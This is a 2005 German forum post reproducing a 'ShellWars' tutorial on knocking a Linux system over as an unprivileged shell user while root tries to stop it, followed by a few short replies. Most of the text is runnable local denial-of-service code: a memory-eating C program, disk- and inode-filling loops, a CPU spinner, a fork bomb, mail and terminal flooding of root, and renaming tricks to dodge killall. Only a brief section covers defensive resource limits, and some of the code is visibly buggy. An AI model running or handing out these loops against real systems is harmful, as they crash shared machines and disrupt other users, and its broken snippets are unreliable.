Linux Shellwars -damn Lustig-

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von SeriousK, 24. November 2005 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 24. November 2005
    #########
    ShellWars
    #########

    [...]
    <l0om> wie shellwar?
    <zexl> jo- stell dir vor es ist krieg - und nur zwei fuehren ihn
    <zexl> der root und ein normaler user
    [...]



    00000001b Einfuehrung
    00000010b Einige Ueberlegungen im vorraus
    00000011b Lets have Phun
    00h eating Memory
    01h fill HDD
    02h CPU jobbing
    03h Other
    04h root in Aktion halten
    00000100b System Abwehr
    00000101b Katz und Maus
    00000110b Greets


    00000001b Einfuehrung
    #####################

    Als lokaler Benutzer von einer Shell aus ein System in die Knie zu zwingen,
    also sozusagen eine locale Denial-of-Service Attacke durchzufuehren ,ist in
    der Regel kein grosses Problem. Es gibt einige Local-DoS-Exploits die aber
    nur in seltenen Faellen benoetigt werden um ein System von einer Shell aus
    lahmzulegen.
    Daraus entstanden sogennante "shellwars" zwischen dem Superuser und normalen
    Shell benutzern. Meistens wurden diese just for fun ins Leben gerufen - und
    zwar ohne Vorwarnung. Denn falls ein normaler Benutzer anfaengt verrueckt zu
    spielen und der root bekommt davon nichts mit, ist das System meistens zum
    sterben verurteilt. Bei diesen digitalen Kleinkriegen gibt es viele
    verschiedene Möglichkeiten den Sysadmin herrauszufordern. Dadruch lernt man
    einiges ueber den Umgang mit seinen Shellutilities sowie ein wenig
    Shellprogrammierung. Obendrein kann das auch noch phun machen...
    Ziel des normalen Benutzers ist es den Admin mit seinen Mitteln in Schach
    zu halten oder besser gesagt versuchen das System in die Knie zu zwingen,
    obwohl der root daneben steht. Das Ueberraschen des roots ist ebenfalls Teil
    des Spiels- dabei ist je nach Admin mal mehr oder mal weniger erlaubt.
    Logischerweise finden solche Kleinkriege nicht auf Servern statt, daher ist
    der Admin oftmals als normaler Benutzer angemeldet bis er merkt was los ist.


    00000010b Einige Ueberlegungen im vorraus
    #########################################

    Zunaechst ueberlegen wir uns mal wie man den Systemlauf schaedigen kann. Jedes
    System ist auf seine Hardwareressourcen angewiesen:
    -Arbeitsspeicher
    -Festplattenspeicher
    -CPU-rechenzeit
    Solange wir keine ernstzunehmenden Einschraenkungen vom System erhalten wie zb,
    wieviel MEM wir aufbrauchen oder wieviel Festplattenspeicher uns zusteht, koennen
    wir hier zuschlagen.
    Ausserdem koennen wir noch systemspezifische Merkmale angreifen. Dazu spaeter
    mehr...

    Den Superuser zu ueberraschen und ihm seine Arbeit zu erschweren, koennen wir
    mit den verschiedensten Moeglichkeiten. Wir nehmen alles was die Shell hergibt!


    00000011b Lets have Phun
    ########################

    Nur mal angemerkt- wenn ein System mit den folgenden Beispielen attackiert wird
    ohne das ein root anwesend ist, wird es meistens nicht lange standhalten. Also
    Vorsicht wo/wann/mit wem man sowas vom Stapel reisst...

    0x00 Eat Memory

    Arbeitsspeicher fressen ist immer wieder eine effizente Methode um einem
    laufendem System den Gang moeglichst zu erschweren.


    badman_$ cat >mem.c<<end
    #include <stdio.h>
    void main(void)
    {
    char *ptr, *ptr2;
    ptr=(char *)malloc(10000);
    while( (ptr2 = (char *)realloc(10048)) != NULL) continue;
    sleep(100);
    }
    end
    badman_$ gcc -o mem mem.c
    mem.c: In function `main':
    mem.c:3: Warnung: return type of `main' is not `int'
    badman_$ ./mem
    ^C
    badman_$ # das ergebis war nicht speicherintensiv genug...
    badman_$ while true; do
    ./mem & >/dev/null
    done
    badman_$ free -k
    total used free shared buffers cached
    Mem: 384348 372680 11668 0 50012 190780
    -/+ buffers/cache: 131888 252460
    Swap: 771112 6812 764300
    badman_$ free -k
    total used free shared buffers cached
    Mem: 384348 380096 4252 0 49908 169084
    -/+ buffers/cache: 161104 223244
    Swap: 771112 6812 764300
    badman_$ echo schon besser....
    schon besser....


    0x01 Fill HDD

    Festplattenspeicher fuellen sollte fuer uns kein problem darstellen.
    Hierzu gibt es ebenfalls eine Fuelle an Moeglichkeiten. Dazu mal etwas
    Handfestes.

    badman_$ cat /dev/urandom >>./.phun" " &
    [1] 2463
    badman_$ while true; do
    mkdir LFLFLFLFL
    cd LFLFLFLFL
    done &
    [2] 2470
    badman_$ while true; do
    cat /bin/ls >>X
    cat X>>Y
    cat y>>x
    done &
    [3] 2485
    badman_$ df # das sollte fuers erste reichen...
    Filesystem 1K-Blöcke Benutzt Verfügbar Ben% Eingehängt auf
    /dev/hda3 7341472 4432576 2908896 61% /
    /dev/hda1 7164956 3441768 3723188 49% /windows/C
    /dev/hda4 4649752 27700 4622052 1% /windows/D
    tmpfs 192172 0 192172 0% /dev/shm
    badman_$ df
    Filesystem 1K-Blöcke Benutzt Verfügbar Ben% Eingehängt auf
    /dev/hda3 7341472 5364044 1977428 74% /
    /dev/hda1 7164956 3441768 3723188 49% /windows/C
    /dev/hda4 4649752 27700 4622052 1% /windows/D
    tmpfs 192172 0 192172 0% /dev/shm
    [...]


    0x02 CPU jobbing

    Lassen wir den CPU mal richtig arbeiten...

    badass_$ cat >cpu.c<<end
    #include <stdio.h>
    int main() {
    unsigned long i;
    while(1) i++;
    return;
    }
    end
    badass_$ gcc -o cpu cpu.c
    badass_$ ./cpu &
    [1] 3565
    badass_$ ps aux | grep cpu
    badass 10180 93.9 0.0 1348 240 pts/3 R 10:14 0:13 ./cpu
    badass_$ # wie man sieht beansprucht dieses alberne programm mal eben
    badass_$ # 93.9 prozent der cpu ressourcen


    0x03 Other
    Was unter Linux immer gut kommt ist das in anspruch nehmen aller
    Diskibtor, was aber oft zum kompletten Lahmlegen des Systems
    innerhalb von ca 5 Sekunden fuehrt.

    badass_$ cat >forkitall.c<<end
    #include <stdio.h>
    void main() {
    while(1) if(fork() == -1) return;
    }
    end
    badass_$ gcc -o fork fokitall.c
    badass_$ ./fork
    badass_$ ./fork
    badass_$ ./fork

    Es kann gut sein das das System nun komplett eingefroren ist. Also
    nicht gerade gut zum Kriegspielen geeignet - mehr ein atomarer Gegen-
    schlag.

    Warum den gesamten Festplattenspeicher so langsam wegfressen wenn wir
    mit folgendem kleinen Trick die Inode-Tabelle komplett fuellen koennen?

    badass_$ while true; do
    for i in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
    touch $i
    done
    mkdir X
    cd X
    done

    Wenn der Inode-Table voll ist, kann kein Benutzer mehr neue
    Dateien erstellen. Viele Dienste werden fehlerhaft, da z.B. Auslager-
    rungsdateien nicht mehr erstellt werden koennen.

    0x04 root in Aktion halten

    Nun wollen wir mal den Admin etwas bei der Arbeit stoeren. Nehmen wir
    mal an der root war eigentlich als "xy" an seinem X server angemeldet
    und ist nur mal eben als root auf eine Shell gewechselt.

    badass_$ who
    xy :0 Dec 19 08:03 (console)
    xy pts/0 Dec 19 08:03
    root tty2 Dec 19 09:33
    badass pts/2 Dec 19 12:01 (192.168.0.134)
    badass_$ write xy pts/0 </dev/urandom &

    jetzt oeffnet sich auf dem X Server ein fenster mit Datenmuell.

    while true; do
    head -n 30 /dev/urandom | mail root@localhost -s "suprice"
    done

    mail flooding- okay... jetzt wird es langsam zu gemein.
    Was wirklich mal ne schoen Sache ist (getestet auf SuSE) ist
    das utility /bin/eject. Dieses tool ist in der Lage das CD-ROM
    Laufwerk zu oeffnen und zu schliessen. In einer Schleife kann
    einem Admin wirklich auf den Kecks gehen.

    badass_$ while true; do
    eject
    sleep 3
    eject -t
    sleep 3
    done &
    [1] 32422

    Als root empfehle ich das SUID bit von diesem Tool zu nehmen.
    Es gibt noch viele andere Moeglichkeiten das System anzugreifen,
    oder den root zu nerven. Holt alles aus der Shell was drin steckt!


    00000100b System Abwehr
    #######################

    Es gibt einige Einstellungen die ein System in dieser Hinsicht
    absichern koennen.

    Unter FreeBSD setzt die "/etc/login.conf" die Einstellungen fuer
    Benutzer und Gruppen. Das Dateiformat erinnert an das der "termcap"
    oder "printcap" und enthaelt eine Menge von moeglichen Schluesseln
    und Flags. Die login.conf kann Richtlinien fuer z.B:
    -ressourcen Limits (maximaler mem, maximum von offenen Dateien, etc.),
    -accounting Limits (einloggen zu bestimmten Zeiten moeglich, etc.),
    -standart Umgebungsvariablen,
    -standart umask oder
    -account Richtlinien (minimale Passwort laenge, etc.) setzen.

    Ein kleines Beispeil

    sysgod:\
    :maxporc=unlimited:\
    :eek:penfiles=unlimited: # usw...

    Unter Linux gibt es eine standartmaessig aehnliche Moeglichkeiten.
    Leider ist diese zum einen haesslich und zum andern nicht gerade
    gut Dokumentiert. Man hat bei Linux die moeglichkeit den Kernel
    interaktiv anzupassen- zumindest kann man viele Schwellwerte veraendern.

    Beispiel:
    echo 5200 >/proc/sys/fs/file-max
    Aendert z.B. die maximale Anzahl der geoeffneten Dateien auf 5200.

    00000101b Katz und Maus
    #######################

    Hier mal ein Beispiel wie so ein shellwar in aktion aussieht.

    badass_$ while true; do
    ./mem &
    done &
    [1] 23545

    Wie erkennt man als root am besten anstehende Gefahren, oder wie
    entledigt man sich von ihnen? Sobald man merkt, dass das System langsamer
    wird, wird der normale Linux/*nix benutzer sich die momentanen Prozesse
    und deren Auslastung ansehen. Wenn ein Admin nun 100 mal einen Prozess
    entdeckt der "mem" heisst, wird er dem Spuk mit einem Befehl den Gar
    aus machen.

    root:~# killall mem

    Problem ist nur, dass wir das ganze innerhalb einer Schleife immer wieder
    Neustarten. So waere das schon effektiver:

    root:~# while true; do
    killall mem >/dev/null
    sleep 1
    done &
    [1] 42213

    Als "badass" sollten wir uns nun schnell was einfallen lassen um dem
    Admin die Stirn zu zeigen. Eine Variante waere jedem enstehendem Prozess
    einen neuen Namen zu verpassen...

    badass_$ action()
    > {
    > export INC=666
    > while true; do
    > cp mem mem.`expr $INC + 1`
    > export INC=`export $INC + 1`
    > ./mem.$INC & >/dev/null
    > done
    > }
    badass_$ action

    Muahhahaaa. Das hat gesessen...
    Ein root der sich nicht geschlagen geben lassen will koennte wie folgt
    antworten:

    root:~# for i in `ps aux | grep mem | awk '{print $2}`; do
    kill -9 $i
    done

    Denkfehler Meinerseits... Verbessern wir die Schleife mal etwas:

    badass_$ action()
    > {
    > export INC=666
    > while true; do
    > cp mem `expr $INC + 1`
    > export INC=`export $INC + 1`
    > ./$INC & >/dev/null
    > done
    > }
    badass_$ action

    Dieses Katz und Mausspiel koennte man noch fortfuehren bis wir gruen
    und blau werden, aber wie belassen es erstmal dabei. Solche Katz und
    Maus Spielchen sind immer wieder spannend und immer wieder anders.
    Wenn der root allerdings die Schnautze voll hat kann er dem Spuk meistens
    mit dem killen der Shell des Benutzers, ein Ende machen.
     

  2. Anzeige
    Dealz: stark reduzierte Angebote finden.
  3. #2 24. November 2005
    *rofl* sorry muss darüber lachen as du für gemeine sachen ausheckts :D 10ner dafür und danke für die info ;)

    naja verwarnung nummer 3 is ma sicher drum bye ;)
     
  4. #3 24. November 2005
  5. #4 24. November 2005
    Wieso ist das hier, wenn es extra ein Channel für Tuturials gibt?
     

  6. Videos zum Thema
Die Seite wird geladen...
Similar Threads - Linux Shellwars damn
  1. Antworten:
    1
    Aufrufe:
    1.990
  2. Antworten:
    2
    Aufrufe:
    1.689
  3. Antworten:
    3
    Aufrufe:
    1.887
  4. Antworten:
    0
    Aufrufe:
    378
  5. Antworten:
    3
    Aufrufe:
    2.468